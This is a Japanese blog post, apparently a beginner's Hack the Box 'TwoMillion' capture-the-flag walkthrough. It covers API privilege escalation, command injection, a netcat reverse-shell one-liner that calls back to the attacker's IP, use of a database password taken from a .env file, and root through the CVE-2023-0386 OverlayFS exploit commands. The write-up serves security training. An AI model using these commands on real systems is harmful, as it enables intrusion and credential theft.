0
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?

Hack the Box TwoMillion 攻略

0
Posted at

この記事は作者の成長日記(自己満)です。

このマシンはAPIを叩いて情報を得るというAPIハッキングの入門マシンのようなものになっております。

偵察

まず最初にnmapにてポートスキャンを行います。

nmap.png

22と80が空いていますね。

webにアクセスしたところ名前解決できないとのエラーが出たので
/etc/hostsにIPとドメイン名を追加して、再度アクセスします。

webpage.png

ディレクトリ探索を行い、目ぼしい情報がないかを見ていきます。
gobuster.png

inviteやregisterあたりにアクセスしてみます。

registerにアクセスしたところinviteapi.min.jsという難読化されたJavaScriptファイルが送られていたので、読めるようにしていきます。

eval()でくくられているので、ブラウザの開発者モードにてevalの部分をconsole.logに変えます。

verifyInviteCode()とmakeInviteCode()というものが得られました。

js.png

インデントがなく、やや読みにくいので以下のサイトにて成形します。

js_reshape.png

APIハッキング

POSTメソッドで/api/v1/invite/how/to/generateに投げてみます。
howtogenerate.png

ご丁寧にROT13で暗号化されたと明記されているデータが送られてきました。

こちらのサイトで平文に直します。

In order to generate the invite code, make a POST request to /api/v1/invite/generate

という情報が得られたので、POSTメソッドでリクエストを送ってみます。
invite_code.png

エンコードされたinvitation codeが生成されました。
末尾に=がついているのでBase64でデコードしてみます。

invitation codeが得られたので会員登録してみます。
ログインできました!
サイトの中を見てみます。
login_web.png

目ぼしい情報がなさそうなので、api側でパスを探していきます。

fuzzing.png

何も出てこなかったので、brupsuite側でGETリクエストを送ってみます。
api_fuz.png

userとadminで分かれていることが確認できました。
いまログインしているユーザでauthを確認してみます。
check_user_auth.png

USER:hogeはis_adminフラグが立っていません。

ここで新たにユーザを作ってこのフラグを立てて送れないかを試してみます。
admin_try.png

/user/authでフラグを見てみます。
chech_auth.png

んーん、ダメそうですね。
/api/v1/admin/settings/updateで直接書き換えられないかを試してみます。

check_admin_auth.png

admin権限に書き換えることができました!

とは言ってもwebページ側で何かできることがなさそうなので、まだ使っていない
/api/v1/admin/vpn/generateに目を向けてみます。

APIを叩いてもvpnの設定ファイルしか流れてこないので、Hack the BoxのGuided Modeを参照します。(初心者にはありがたい。)
すると、command injectionというワードがあったので、自身へ向けてpingを投げてみます。

tcmdump.png

tcpdumpにて通信が確認できました!

初期侵入

リバースシェルを取れないかやってみます。

コマンド
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc 10.10.14.198 4444 >/tmp/f
を実行します

reverse_shell.png

とれました!

.envを確認します。

env_check.png

DBのパスワードが入手できました。これを使ってsshで繋げないかを試してみます。

ssh.png

繋げました!(vpnエラーのためサーバのipが変わってますが、お気になさらず)

ホームディレクトリにuser.txtがあります。

続いてrootフラグを取得していきます。

sudo -lを実行したところsudo権限はなさそうです。

そのためlinpeasをkaliから送って、実行していきます。

linpeas.png

メールが届いているので確認します。
mail.png

OverlayFS FUSEに脆弱性があるという趣旨のメールなのでwebで検索してみます。

権限昇格

CVE-2023-0386にてPriviledge Escalationということが記載されているので、こちらを利用してみます。

scpを使ってkali側からターゲットにPoCを送りましょう。

REAMMEにあるとおり、makeを実行してから
./fuse ./ovlcap/lower ./gc
を実行します。
その後、別のターミナルで別途SSH接続し、./expを実行します。

rootが取れました!!
root.png


今回学んだこと

  • APIの叩き方
  • API関連でのJSONデータの送り方
  • curlコマンドのオプションの復習

初投稿ということもあり、大変読みにくい文章となっておりますが、攻略と投稿を続けていくうちに改善していけばと思います。

0
0
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
0
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?